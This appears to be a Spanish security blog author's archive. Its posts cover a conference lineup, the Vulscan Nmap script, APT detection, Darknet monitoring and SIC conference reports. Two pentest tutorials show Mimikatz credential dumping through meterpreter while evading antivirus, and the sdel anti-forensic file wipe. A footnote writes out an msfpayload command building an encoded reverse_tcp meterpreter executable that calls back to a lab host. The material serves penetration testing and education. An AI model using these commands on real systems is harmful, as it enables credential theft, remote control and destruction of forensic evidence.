III Conferencias de Seguridad Navaja Negra

Apenas faltan dos semanas para que tengan lugar las III Conferencias de Seguridad Navaja Negra. Tras el éxito de las dos ediciones anteriores, este año vuelven a la carga con un atractivo plantel de ponentes, algunos de los cuales -como indican los propios organizadores- han sido “engañados” para ir, y otros provienen del CFP.

Las charlas, centradas en Seguridad de la Información versarán sobre los siguientes temas:

  • Adivina quién viene a Cedenear esta noche (@z0mbiehunt3r)
  • Cool Boot: It’s Cool!!! (@NN2ed_s4ur0n)
  • Cryptography: The mathematics of secret codes is a game (@kachakil)
  • How I meet your botnet (@francruar) (@Groove)
  • El lado oscuro de Tor: La Deep Web (@pepeluxx) (@tr1ana)
  • El día a día de un pentester (@joseselvi)
  • Forensic IOS with Low-Cost Tools (@lawwait)
  • Where is my money? The evolution of Internet Fraud (@Seifreed)
  • Economias Criptográficas (@trufae)
  • Anteproyecto del código procesal penal: análisis técnico y legal del software para controlar de forma remota un ordenador (Javier Rodriguez y Cesar Lorenzana del GDT UCO Guardia Civil)
  • DDOS Revisited (@lostinsecurity)
  • Zeus-R-Us (@smvicente)
  • ¿Nadie piensa en las DLL? (@winsock)
  • Trash Robotic Router Platform (TRRP) (@taiksontexas)
  • Fuzzing Browsers by generating malformed HTML/HTML5 (@florenciocano)
  • De pacharanes por Raccoon city: cómo sobrevivir al día a día real de un pentester (@dan1t0)
  • Telepathy: Harness the code (Juan Carlos Montes, @jcmontes_tec)

[Read more…]

Vulscan 1.0

Recientemente Marc Ruef @mruef (Computec.ch), ha presentado una nueva release mejorada de Vulscan, un script para Nmap que ya presentó en 2010 con funcionalidades básicas de escáner de vulnerabilidades.

Vulscan basándose en la opción -sV de Nmap que nos muestra las versiones de los servicios detectados e interactuando offline con diversas bases de datos de vulnerabilidades es capaz de alertarnos si alguno de estos servicios es potencialmente vulnerable a alguna vulnerabilidad documentada en alguna de esas bases de datos.

Las bases de datos preinstaladas que trae son las siguientes:

Así pues, un ejemplo básico de funcionamiento de este script sería el siguiente. Tras añadir la carpeta Vulscan al directorio scripts donde tengamos nuestro directorio de instalación de Nmap (para las pruebas he utilizado owaspbwa que de antemano sé que ofrece servicios vulnerables en el puerto 22 y el 80, entre otros):

Si no especificamos nada interactuará con todas las bases de datos preinstaladas, sin embargo si queremos que por ejemplo solo cruce datos con una única base de datos añadiremos la opción vulscandb:

--script-args "vulscandb=basedatos.csv"

especificando la base de datos que queramos o incluso una nuestra que podemos crearnos sencillamente con el formato:

<id>;<title>

Una de las mejoras incorporadas es el soporte de plantillas de informes dinámicos a través de la opción vulscanoutput por la que puedes crearte tu propia estructura del informe a través del siguiente formato:

--script-args "vulscanoutput='{id} - Title: {title} ({matches})\n'"

donde:

Un caso práctico de este script sería por ejemplo en un escenario en el que estemos realizando una auditoría Web, en el que combinando éste y otros scripts NSE para Web Scanning de los muchos que incorporó Nmap en su última actualización más importante hace un año, nos conforme de manera muy rápida un primer informe preliminar sobre posibles deficiencias encontradas en dicha Web como por ejemplo determinando el título de la página por defecto del servidor Web detectado durante el escaneo (http-title), mostrando los directorios más utilizados por servidores o aplicaciones Web (http-enum), recopilando las direcciones de correo encontradas durante el escaneo (http-email-harvest) y encontrando las vulnerabilidades conocidas acorde a la versión del servicio Web detectado utilizando el mencionado vulscan:

nmap -sV --script=http-title,http-enum,http-email-harvest,vulscan -p80 172.16.94.128

El informe a la salida sería similar al siguiente:

Nótese que, por temas de espacio, he manipulado el informe de salida para no mostrar la salida completa de vulscan y sólo aparecen algunas de las vulnerabilidades encontradas y no todas.

Comentar por último que hay que tener en cuenta que este tipo de análisis de vulnerabilidades depende en gran medida de la capacidad de Nmap de obtener la versión del servicio detectado, de la cantidad de vulnerabilidades documentadas en las bases de datos y de la exactitud en la coincidencia de patrones al hacer el cruce de datos.

Personalmente he detectado que vulscan solo coge las versiones de salida de la opción de nmap -sV y con ellas interactúa, sin embargo echo en falta , que coja las salidas de otros scripts nse como por ejemplo html-cms.nse , que detecta la versión de CMS escaneada, y sería muy útil utilizar estos dos scripts, de forma que un script nos detecte la versión de CMS concreta y el otro las posibles vulnerabilidades que pueden ser encontradas para esa determinada versión. He hablado con @mruef y me ha comentado que el problema es que no puede acceder a datos de otros scripts a no ser que los proporcionen de alguna forma como por ejemplo en un fichero de salida. La mejor solución sería, que los otros scripts nse pongan sus datos de identificación a la salida en el Registry (véase la API de Nmap).

Según la API de Nmap los scripts pueden compartir información almacenando valores en un registro, que es una tabla especial a la que pueden acceder todos los scripts. Hay un registro global, nmap.registry, compartido por todos los scripts, cuya información persiste durante todo un escaneo completo de Nmap, de forma que los scripts puedan usarlo por ejemplo para almacenar valores que posteriormente , de manera secuencial, puedan ser utilizados por otro script contra la misma máquina dentro del mismo escaneo, de forma que la salida de uno retroalimente al otro.

Marc Ruef ya está trabajando en una nueva release en la que incluirá nuevas mejoras y funcionalidades como por ejemplo que vulscan 2.0 soportará Exploit-DB e IBM X-Force.

Referencias aquí.

Estrategia de Seguridad Nacional 2013. Ciberseguridad.

Esta semana ha sido noticia la aprobación de la Estrategia de Seguridad Nacional 2013 la cual constituye la articulación fundamental de la Seguridad Nacional como Política de Estado, esto es, contiene directrices con el fin de reasignar todos los recursos disponibles del Estado de manera eficiente para la preservación de la Seguridad Nacional.

Si ya en la versión del 2011 el ciberespacio cobraba importancia como un nuevo ámbito en el que nuestro país se enfrenta ante amenazas y riesgos:

[…] cada vez una mayor parte de nuestra actividad se desarrolla en el ciberespacio, donde las amenazas pueden ocasionar graves daños e incluso podrían paralizar la actividad de un país. Los ciberataques más comunes tienen fines comerciales, pero también estamos expuestos a agresiones por parte de grupos criminales, terroristas u otros, incluso de Estados. Las nuevas tecnologías de información y comunicación ofrecen nuevos y más sofisticados medios para el espionaje y la contrainteligencia. Mejorar la seguridad en el ciberespacio pasa por fortalecer la legislación […]

[Read more…]

Detección de APTs

(Publicamos hoy un informe sobre detección de APTs elaborado por el CSIRT-CV e INTECO-CERT cuyos autores son dos de nuestros compañeros: Jose Miguel Holguín y Maite Moreno (S2 Grupo) por parte de CSIRT-CV y Borja Merino por parte de INTECO-CERT. Todos ellos son coautores habituales de este blog).

Cuando se habla de ataques de APT se habla de organización, premeditación, persistencia, sofisticación y novedad. No hay que olvidar que este tipo de amenazas están lo suficientemente bien financiadas cómo para mantener su campaña de ataques durante un periodo largo de tiempo, y disponer de los recursos necesarios para conseguir su fin. Es posible incluso que, en caso de ser detectados, los cibercriminales tengan un plan de contingencia que les permita reorganizarse y atacar de nuevo.

Su detección por tanto es de una extrema dificultad (Véase este enlace sobre amenazas persistentes avanzadas). Algunas fuentes (Véase este enlace sobre Foros DINTEL de AA.PP. Seguridad vs Ciberdelincuencia) hablan de un nivel de detección no superior al 25%:

  • Usan firmas de ataque único, novedosas y de gran creatividad, difíciles de correlacionar con las de los ataques conocidos. Este tipo de ataques están diseñados para evadir las soluciones antimalware e IPS existentes en el mercado (Véase The Undetectables: How ‘Flame’ highlights the failure of antivirus), ya que no suelen comportarse como el malware tradicional y además son creados específicamente para la organización objetivo, previo estudio de sus posibles debilidades.
  • El hecho de que el malware pueda mantenerse oculto, ya esté activo o latente, y que la campaña de ataques APT sea habitualmente distribuida en largos periodos de tiempo y no sea periódica, hace que sea complicado correlacionar alertas basándonos en los datos de fechas/horas.
  • El tráfico de datos que se establece suele ser encubierto a través de cifrado, esteganografía, compresión, técnicas de CovertChannels o cualquier otro tipo de métodos que permitan ocultar la ilegitimidad de ese tráfico (incluso es posible que utilicen servicios públicos y dominios comunes como Twitter, Facebook, Google Translator, etc.); las conexiones no lícitas de los servidores son muy difíciles de detectar y es muy complicada la identificación de la red atacante.

En definitiva, las APT, a día de hoy, constituyen uno de los peligros mas importantes y de mayor expansión a los que se enfrentan los profesionales de la seguridad, y son prácticamente inevitables para la mayoría de las organizaciones, y es por ello que la cuestión principal que se ha de plantear en el panorama actual frente a este tipo de amenazas es cómo detectarlas.

Es fundamental proporcionar a los profesionales de la seguridad y administradores de sistemas y redes el conocimiento necesario sobre cómo detectar una APT en sus infraestructuras tecnológicas. Es por ello que, con objeto de concienciar sobre la importancia de una detección precoz ante una amenaza de este tipo, CSIRT-CV e INTECO-CERT han colaborado para la elaboración de un informe titulado “Detección de APTs”.

Los objetivos que pretende alcanzar este informe son los siguientes:

  • Constatar la importancia e implicación que tienen las APT en la seguridad nacional, tanto a nivel gubernamental, militar como en los sectores de defensa, empresarial o financiero, y el alto riesgo que conlleva que puedan verse afectadas infraestructuras críticas como centrales nucleares o de telecomunicaciones, redes eléctricas, suministros de agua, puertos, comunicaciones ferroviarias o aéreas, etc.
  • Evidenciar el funcionamiento detallado de algunos casos conocidos de este tipo de ataques. Mostrar a nivel técnico y en profundidad como es el ‘modus operandi’ de algunos ejemplos de campañas de APT.
  • Detallar cuales son las vías de infección más utilizadas para llevar a cabo un ataque de estas características; se mostrarán los distintos tipos de infecciones existentes a través de malware, las técnicas de ingeniería social más usadas, los medios físicos como una importante vía de infección, el creciente mercado de exploits o los Web basedAttacks.
  • Establecer una serie de pasos básicos a seguir y consideraciones que se deben tener en cuenta a la hora de detectar en nuestra organización una intrusión de estas características. Se destacará la importancia de un elemento de red tan crítico como es el Firewall corporativo y como proceder para llevar a cabo un adecuado análisis de tráfico con el objetivo de detectar patrones de comportamiento que puedan hacer saltar nuestras señales de alarma frente a una intrusión (detección de anomalías en la red y en capturas de tráfico, métodos de correlación/estadísticos, técnicas de CovertChannels, etc).

El informe “Detección de APTs” puede ser descargado bien del portal Web de CSIRT-cv o desde el portal de INTECO-CERT.

Extensión de Mimikatz para Metasploit

En la última actualización semanal de Metasploit destaca la incorporación de una nueva extensión dedicada a Mimikatz.

Mimikatz es una herramienta desarrollada por @gentilkiwi que permite el volcado de contraseñas en texto plano a través de lsass así como la obtención de hashes de la SAM, entre otras características, y de la que ya hemos hablando en mi anterior post sobre el módulo para metasploit sdel.

Mimikatz es detectada como herramienta maliciosa por los principales antivirus. Según Virustotal a día de hoy al menos 21 de 46 antivirus la detectan, con lo cual, su uso dificulta la labor del pentester.

Sin embargo, gracias a la extensión que ha realizado Meatballs1 para Metasploit es posible a través de meterpreter el uso de mimikatz sin que los antivirus nos alerten, al no tocar disco y ejecutarse completamente en memoria (una alternativa más cómoda al flag –m de execute). Un ejemplo de su uso sería el siguiente. Tras haber conseguido una shell en una máquina objetivo, cargamos a través de “load” la extension mimikatz:

Una vez cargada la extensión en nuestra sesión de meterpreter veamos las opciones que nos ofrece:

Ejecutando por ejemplo el comando “kerberos” obtenemos las credenciales de este tipo en claro que se encuentran en nuestra máquina comprometida:

Otro ejemplo de funcionamiento sería utilizando el comando “mimikatz_command” como podemos ver a continuación:

Con el parámetro logonPasswords conseguimos que nos muestre las sesiones concurrentes de los usuarios que han iniciado sesión en la máquina comprometida. Para el lector que quiera profundizar sobre este tema de cómo Windows almacena sus credenciales, sus debilidades al respecto,  y como mimikatz es capaz de explotar esas debilidades os recomiendo este artículo además de las presentaciones en el blog de Gentilkiwi.

Introducción a las Darknets

Una Darknet es una porción de mi red, un determinado espacio enrutado de direcciones IP, en la cual no hay servidores ni servicios activos. Es decir, de manera externa ningún paquete debería estar dirigido contra ese espacio de direcciones.

Por tanto, cualquier paquete que entre en una Darknet no debería ser legítimo. Podría llegar a ella por errores como políticas pobres de seguridad o una deficiente configuración (como por ejemplo mensajes de broadcast enviados a un segmento al cual no pertenece el emisor) pero la mayoría de estos paquetes llegarían enviados por algún tipo de acción sospechosa como algún malware (ver Responding to Zero Day Threats) o atacante que esté dentro de nuestra red y estuviera buscando de manera activa dispositivos vulnerables.

Si dentro de nuestra Darknet, montamos un servidor recolector que recoja ese tráfico que entra en la misma, lo analice y lo procese, nos ayudaría a recopilar más información sobre ese tráfico anómalo/malicioso que pudiera estar circulando por la infraestructura de red de nuestra organización, ayudándonos además a reducir el número de falsos positivos, a detectar ataques en tiempo real o nuevas tendencias de ataques a través de un análisis forense de ese tráfico de la Darknet.

Podemos monitorizar, entre otros, una serie de comportamientos anómalos en la misma, como (ver Aprendiendo del enemigo):

  • Tráfico sospechoso agrupado por puertos (TCP,UDP,ICMP,etc) o relacionado con determinados servicios (SSH, FTP, WEB, etc), ataques de fuerza bruta contra servicios, escaneos, ataques de DoS, etc.
  • Ataques específicos que utilicen técnicas de spoofing.
  • Direcciones IP y dominios en listas negras.
  • Determinados patrones generados por malware (escaneos, aumento de tráfico, baja de servicios, propagación de gusanos, bots, etc.)
  • Identificación de patrones de Botnets dentro y fuera de la red o redes P2P.
  • Posible tráfico malicioso hacia redes externas.
  • Nuevas tendencias de ataques.

Desde el proyecto “The Darknet Project” de Team Cymru, nos cuentan un par de ejemplos prácticos de detección de anomalías monitorizando el tráfico de una Darknet. Por ejemplo, sabemos que existen bots que explotan los recursos compartidos abiertos de Microsoft Windows 2000. Un rasgo común de este tipo de bots es el escaneo de sistemas escuchando en el puerto 445/TCP, así que, consultando las herramientas de monitorización de tráfico de red integradas en el servidor recolector de nuestra Darknet podemos detectar si se ha producido un escaneo hacia el 445/TCP. De confirmarse, sería una señal de alerta puesto que los paquetes que se detectan dentro de la Darknet, como se ha comentado, no son legítimos.

Otro ejemplo práctico es sobre el gusano Slammer, el cual realiza un ataque de tipo DoS a servidores SQL mediante el envío múltiple de archivos con el código del gusano al puerto 1434. Uno de los síntomas de la presencia de Slammer es el considerable aumento del tráfico de red a través del puerto UDP 1434 (SQL Server Resolution Service Port). Detectando en nuestra Darknet un indicador de este tipo, nos alertaría sobre la posible presencia del gusano en nuestra red.

En definitiva, recopilando datos sobre todo el tráfico podemos ir analizándolo buscando todos los patrones de interés y automatizar a posteriori todo el proceso a través de un IDS que hayamos instalado en nuestro servidor recolector por ejemplo.

Antes de poner en marcha la creación de una Darknet en nuestra organización es importante tener en cuenta, entre otros, estos dos aspectos:

  • Definir las características de la red (topología, alcance, visibilidad).
  • Concretar equipamiento hardware y software a instalar, teniendo en cuenta qué tipo de datos queremos recolectar y cómo queremos tratarlos (herramientas de captura de tráfico, herramientas análisis de tráfico, posibilidad de implantar honeypots, etcétera) y el presupuesto económico del que disponemos.

Creación de una Darknet

  • El primer paso en el despliegue de una Darknet es ubicarla en un sitio adecuado, así que se deberá escoger un segmento/s de direcciones IP de la red que serán enrutadas hacia la misma. Es recomendable utilizar un espacio de direcciones de al menos /24 (a mayor espacio reservado mayor visibilidad se conseguirá).
  • El siguiente paso es reservar el espacio físico y lógico para la Darknet. Como bien nos indican desde Team Cymru, se recomienda no poner una Darknet en el mismo dominio de colisión o VLAN que otras subredes; el objetivo de la Darknet es proveernos de datos fiables, así que es importante evitar “envenenar” la Darknet con tráfico legítimo así como tampoco se recomienda poner las IP de la Darknet visibles públicamente en nuestro DNS.

El CLCERT nos trae una propuesta de DarkNet que sería similar a la siguiente arquitectura (ver Diseño e implementación de una Darknet para monitoreo de la red en Chile – CLCERT):

  • Router de Darknet: configurado de forma que transmita todo el contenido que entre a la Darknet. Reenviará el tráfico entrante a la Darknet al servidor recolector. El router deberá estar configurado de forma que acepte únicamente el tráfico entrante (input traffic) dirigido a la Darknet, pero no a la inversa (output traffic). Debería alertarnos en caso de que se detectara tráfico saliente de la Darknet (estaríamos hablando de una Darknet configurada tipo ‘agujero negro’) puesto que todo el tráfico de la Darknet, como se ha comentado, es no legítimo. El router, además deberá estar configurado para SNMP con el fin de disponer de estadísticas de tráfico —utilizando por ejemplo la herramienta MRTG— ya que por ejemplo, nuevas amenazas de malware pueden detectarse fácilmente basándose únicamente en las estadísticas de tráfico de la interfaz de la Darknet.
  • Servidor Recolector: interconectado a la Darknet analizará el tráfico. Sería interesante instalar un IDS, un analizador de protocolos, herramientas de análisis de logs, e incluso se puede pensar en la implantación de algún tipo de honeypot, dependiendo la instalación de todas estas herramientas del tipo de análisis y procesamiento que se le quiera dar al tráfico.
  • Red administrativa: red especialmente bastionada ya que recibirá de manera continua tráfico malicioso y en la que se procesaran los datos procedentes del servidor recolector, se obtendrán estadísticas e informes sobre el tráfico detectado.

En definitiva, y puesto que todo el tráfico en la Darknet es potencialmente sospechoso, puede sernos muy útil para detectar tráfico malicioso o anomalías de configuración de dispositivos en nuestra organización.

Por si os interesa profundizar en el tema, existen varios proyectos de creación de Darknets (también conocidos como telescopios de red; ver Darknet y telescopios de red) a gran escala cuyos principales objetivos son la monitorización de la actividad de tráfico de red y detección de nuevas tendencias en Internet:

  • Internet Motion Sensor (IMS)
  • CAIDA
  • The Darknet Project (Team Cymru), mencionada anteriormente.
  • ISINK (Internet Sink)
  • The IUCC/IDC Internet Telescope
  • IBN (Internet Background Noise)
  • Shadowserver
  • Safe Delete Meterpreter Module

    Recientemente ha sido añadido a Metasploit (rama master) un módulo que nos puede ser interesante de cara a borrar ficheros descargados en el equipo de una víctima desde una sesión de meterpreter.

    El módulo en cuestión, sdel, sobreescribe el fichero que queramos el número de veces que le indiquemos, bien con caracteres aleatorios, bien con null bytes (de forma similar al comando shred para Linux. Además, antes del borrado del fichero, sobreescribe su nombre con una cadena larga aleatoria (200 bytes) y modifica los atributos MACE del mismo (fechas de acceso, modificación, creación y entrada en la Master File Table (MFT) por medio de la API priv.fs.set_file_mace tal y como se muestra en su código. Como se ve, las nuevas fechas generadas se corresponderán con la fecha actual menos N días aleatorios.

    Código de la función change_mace

    Es importante destacar que, en el caso de tratarse de sistemas NTFS, si lo que se desea es eliminar ficheros muy pequeños, éstos podrían quedar residentes en el stream descriptor de la MFT y por tanto no serían sobreescritos. El módulo sdel alertaría de ello, avisando de que el fichero que se desea borrar es inferior a 800 bytes. Sdel, por tanto, sobreescribe el contenido del fichero y el slack space (espacio —perdido— que sobra entre el final del fichero y el clúster que se considera usado), pero no hará un «wipeo» del espacio libre. Es importante tener ésto en cuenta ya que ficheros que usen el cifrado/comprensión de Windows, así como ficheros temporales, podrían quedar repartidos por el disco sin ser sobreescritos.

    Como bien indica su descripción, este módulo puede resultarnos muy útil cuando por ejemplo, en la fase de post explotación en un equipo víctima, necesitamos descargar algún fichero ejecutable para realizar alguna acción, y tras ello queremos borrar su contenido con seguridad, de cara a dificultar la tarea de un posible análisis forense a posteriori.

    El uso de sdel es sencillo. Para sobreescribir y borrar el fichero deseado, únicamente se tiene que especificar el número de iteraciones (sobreescrituras) que se quieren llevar a cabo, así como el tipo de sobreescritura (aleatoria o null bytes). A continuación las opciones que tiene dicho módulo:

    Opciones del módulo Sdel

    Ahora supongamos el siguiente escenario. Tenemos una sesión de meterpreter [1] en un equipo víctima en el que hemos utilizado la herramienta mimikatz (herramienta que permite el volcado de contraseñas en texto claro de un sistema Windows o la obtención de hashes de la SAM, entre otras características) y tras usarla queremos eliminarla, y para ello ejecutamos sdel indicándole por ejemplo que sobreescriba el fichero 3 veces:

    Si tras el borrado con sdel de un fichero comprobamos [2] el contenido del mismo en disco antes y después del borrado, podemos ver que se ha sobreescrito correctamente. En las siguientes capturas se muestra el resultado antes y después del borrado de un fichero de prueba (msf.txt) en disco sobre un sistema de ficheros NTFS.

    Contenido del fichero en disco ANTES de ser borrado con sdel

    Contenido del fichero en disco DESPUES de ser borrado con sdel

    Contenido de la MFT ANTES de borrar el fichero con sdel


    Contenido de la MFT DESPUÉS de borrar el fichero con sdel

    Como se observa en las imágenes anteriores tanto el nombre en la MTF como el contenido ha sido sobreescrito.

    El módulo ha sido desarrollado por el también editor de este blog, Borja Merino (@borjamerino), y podéis usarlo siempre que os aseguréis de tener actualizada la última versión de Metasploit.

    [1] Para las pruebas realizadas utilicé una VM con Windows 7 (X.X.X.51) y una Backtrack 5 r3 (X.X.X.41) desde la que generé un fichero ejecutable (meterpreter.exe) con el payload windows/meterpreter/reverse_tcp y codificándolo con el algoritmo shikata_ga_nai:

    msfpayload windows/meterpreter/reverse_tcp LHOST=X.X.X.41 R | ./msfencode -e x86/shikata_ga_nai 
    -c 10 -t exe -o meterpreter.exe
    

    Ejecutando el fichero meterpreter.exe en la máquina de la víctima y haciendo uso de Metasploit ya obtenemos nuestra reverse shell para conectarnos al equipo víctima:

    Sesión de meterpreter obtenida

    [2] La herramienta utilizada ha sido WinHex.

    Guía de Software exploitation (INTECO-CERT)

    El pasado 23 de Julio, INTECO-CERT publicó una nueva guía denominada «Software exploitation» cuya lectura queremos recomendar desde Security Art Work. La guía, constituida por 103 hojas, aborda diversos aspectos relacionados con la búsqueda y explotación de vulnerabilidades.

    El objetivo es concienciar a programadores y responsables de seguridad sobre la importancia de desarrollar software seguro e implementar contramedidas con las que mitigar multitud de ataques que hoy en día siguen siendo la raíz de muchas intrusiones. Dichas contramedidas comenzarán con buenas prácticas de programación y el uso de funciones seguras que eviten errores de tipo buffer/integer overflow, use-after-free, off-by-one, etc. Por otro lado, se describen multitud de medidas tanto a nivel del compilador como del sistema operativo (DEP, ASLR, SEHOP, canary cookies, SPP, RELRO, etc.) que servirán de apoyo para frenar la ejecución de exploits que se aprovechen de software vulnerable. Como se detalla en la guía, dichas contramedidas servirán únicamente como un apoyo más a tener en cuenta a la hora de compilar e instalar aplicaciones ya que éstas pueden ser fácilmente eludidas si se implementan de forma aislada.

    Lo que hace realmente atractiva esta guía (además de que está en castellano) es el enfoque práctico utilizado para detallar paso a paso multitud de herramientas y scripts (FOE, mona.py para Immunity Debugger, Ollydbg, etc.) con las que localizar y depurar en profundidad vulnerabilidades críticas.

    [Read more…]

    Respuestas SIC: Protección de vanguardia ante APTs y DDoS (II)

    Continuando con la crónica de la jornada organizada por la Revista SIC: “Protección de vanguardia ante APTs y DDoS: Nuevos ataques, mejores defensas» la cual os empezamos a contar hace un par de días, en el siguiente bloque de la misma se abordaron las diferentes aproximaciones que diferentes fabricantes hacen con respecto a la protección frente a APTs y a ataques DDoS. Apuntar que se repitieron bastante entre todos los fabricantes dos palabras que actualmente están muy de moda: Correlación e Inteligencia.

    BLOQUE 2: Aproximaciones de la industria
    Check Point, Corero, Fortinet, HP, Stonesoft, Symantec y Trend Micro

    Lo que la mayoría de fabricantes definió como ‘inteligencia’ era por un lado el hecho de disponer bases de datos centralizadas (bien globales, en cloud, o en cliente), que recopilaban información bien de clientes y/o procedentes de otras empresas u organismos con los que tienen acuerdos, información con datos sobre tendencias de ataques, sobre reputación de IPs o sobre reputación de los propios usuarios dentro de un cliente, nuevas vulnerabilidades, patrones de tráfico, comportamientos anómalos. En definitiva, recopilación de toda la información necesaria para hacer que se tenga una visión global de lo que está pasando para, con la retroalimentación de todos esos datos poder estar prevenidos frente a un ataque dirigido.

    [Read more…]

    Respuestas SIC: Protección de vanguardia ante APTs y DDoS (I)

    Recientemente tuvo lugar una nueva edición de “Respuestas SIC”, unas jornadas que periódicamente organiza la revista SIC y a las que tuve la oportunidad de asistir.

    Esta edición tenía como título: “Protección de vanguardia ante APTs y DDoS: Nuevos ataques, mejores defensas” y tuvo tres bloques. En el primero, un especialista en protección de la información (Juan Miguel Velasco López-Urda) ofreció una charla sobre su visión ante la defensa frente a APTs. En el segundo bloque, siete fabricantes de seguridad TI (Check Point, Corero, Fortinet, HP, Stonesoft, Symantec y Trend Micro) explicaron sus orientaciones en materia de protección frente a APTs y DDoS. El tercer bloque contó con la participación del Centro Criptológico Nacional representado por su subdirector General Adjunto, Luis Jiménez Muñoz, y dos organizaciones privadas: Arsys (Olof Sandstrom Herrera, Director de operaciones y seguridad) y Telefónica Digital (Santiago Perez) y consistió en una mesa redonda en la cual se trató la visión de los usuarios/centros de competencia al respecto de los temas tratados (APTs y DDos) además de hablar sobre los escenarios actuales, limitaciones y necesidades futuras.

    A continuación, en esta y sucesivas entradas realizaré una breve crónica de la jornada.

    BLOQUE 1: Protección ante APTs y DDoS. Situación presente.

    Juan Miguel Velasco López-Urda
    Consultor Estrátegico de Seguridad y Cloud para Grandes Corporaciones

    Juan Miguel comenzó mencionando, entre otros, que en 2014 se prevé que habrá más dispositivos conectados que habitantes en la Tierra (fuente: Gartner) —hizo hincapié en la tendencia en auge BYOD y en que ésto crea un perímetro que no se puede cerrar— y que actualmente los ciberataques según el World Economic Forum se encuentran en 4º lugar como potenciales riesgos globales en cuanto a probabilidad que puedan afectarnos (por detrás del aumento de emisiones de gases de efecto invernadero).

    Definió las APTs (Advanced Persistent Threats) como una categoría de cibercrimen dirigido contra objetivos empresariales y gubernamentales cuya máxima es “atacar de manera lenta y silenciosa” y que son un tipo de servicio demandado por competidores, cazarrecompensas, gobiernos, servicios de inteligencia, etc.

    Asemejó sus técnicas con técnicas de estrategia militar y mencionó Stuxnet, Aurora, Flame, Shady RAT, GhostNet, Night Dragon, Nitro, y la última ‘saltada a la palestra’ cuya misión es la búsqueda y robo de ficheros Autocad, Medre (creo que así se ha bautizado). Habló incluso de APTs para PC de usuarios con objetivo el robo de identidad.

    Describió como fases por las que se pasa cuando se descubre una APT en un organismo las siguientes: Denial, Shock, Attribution & Retribution, Investigation & Discovery, Realization y Resolution. Según Juan Miguel, en España nos quedamos en las tres primeras fases (‘esto no me puede pasar a mi’,’estado de shock’,’echar las culpas’), y es algo que hay que cambiar.

    Como principal vía de entrada para una APT habló del phishing dirigido y del BYOD como nueva puerta de entrada (además de otras puertas de entrada como fallos en el perímetro externo: Firewall, VPN Server, Proxy, aplicaciones web vulnerables, navegación web, perímetro interno: ingeniería social, USBs, …etc) y citó algunos precios reales de lo que costaría planear una campaña de APT:

    • RAT: Gratuito.
    • Servicio de phishing dirigido : Setup de 2000$, coste mensual de 2000 $.
    • Dos 0-day: 40.000 $.
    • Rent-a-hacker: unos 20.000 $ al mes.

    Habló de los ataques de DDoS como método de distracción para llevar otros ataques más sofisticados y los caracterizó como ataques universales (te puede pasar donde sea, a quien sea y cuando sea), baratos, eficientes, impunes (gracias al anonimato que dan las botnets), de gran impacto, reiteradamente posibles y menospreciados.

    Ante cómo defenderse frente a una APT comentó que los elementos tradicionales y de defensa han de ser desplegados, monitorizados en tiempo real y recopilados todos los logs para su análisis y almacenamiento. Al menos hay que tener todos los Proxy Logs, Authentication Logs, IDS alerts, HIDS logs, Firewall logs, Full content traffic captures, Netflow, aplicaciones (datos y errores) y auditoría con activación proactiva.

    Algunas conclusiones extraídas de esta interesante charla del señor Velasco fueron las siguientes.

    1) Frente a defensa de APTs:

    • Diseñar el perímetro (Firewalls, IPS, WAF, habló del cloud como protagonista como tercer perímetro y de la necesidad de monitorizarlo y auditarlo de manera periódica. Éste debe ser una extensión de nuestro perímetro exterior asumiendo nuestra política y reglas).
    • Implementar contramedidas antiDDoS (implementando un modelo híbrido cloud).
    • Implantar protección email (Antispam, email firewall).
    • Análisis de código Web y politicas de diseño Web y código.
    • Monitorizar toda la información que entra y sale.
    • Restringir el acceso a BYOD.
    • Segmentar la red y el acceso a los usuarios.

    2) Sobre la situación actual respecto a APTs y DDoS, destacó que:

    • Cada día aparece nuevo malware, nuevos 0-day, nuevas vulnerabilidades… y nuevas APT aprovechándose de ello. Por otro lado los ataques DDoS son favorecidos por la proliferación de las botnets, y además comienzan a tener un ‘toque de sofisticación’ puesto que ya no son volumétricos, sino que también son dirigidos.
    • El perímetro comienza a perder los límites establecidos por el exceso de tráfico no catalogado, la heterogeneidad de las aplicaciones, la necesidad de que el usuario sea capaz de conectarse desde cualquier parte y a través de cualquier dispositivo. Por tanto se ha de redimensionar de manera adecuada este perímetro y sobre todo incluir monitorización en el mismo y correlación continua y gestionada. Además, los servicios en la nube podrían ayudarnos como una evolución de nuestro perímetro.
    • La incorporación de tecnologías antiDDoS, la simulación de entornos con SandBox virtuales y los analizadores de tráfico dinámicos no basados en firmas ayudarían en la ‘lucha’ contra las APTs y los DDoS.

    En la tanda de preguntas resaltar la opinión de una persona que afirmó que es imposible parar BYOD; se trata de una tendencia imparable y que hay que elegir bien la tecnología y buscar un equilibrio. Otra persona comentó que a veces dudaba de si las vulnerabilidades las anunciaban los mismos que nos venden ‘la solución’: los fabricantes.

    En definitiva, el bloque 1 de las jornadas, de la mano de Juan Miguel Velasco, aportó una visión muy clara sobre la situación presente ante las nuevas, avanzadas y persistentes amenazas que están presentes en el panorama actual. En la próxima entrada acabaré la crónica de esta jornada, con el bloque 2 y 3. Mientras, os lanzo una de las interesantes preguntas que surgieron a lo largo del día:

    ¿Creéis que los fabricantes de herramientas TIC están orientando de manera adecuada sus desarrollos con fines de seguridad y protección frente a las nuevas amenazas que se nos están viniendo encima?

    [Sobre la autora]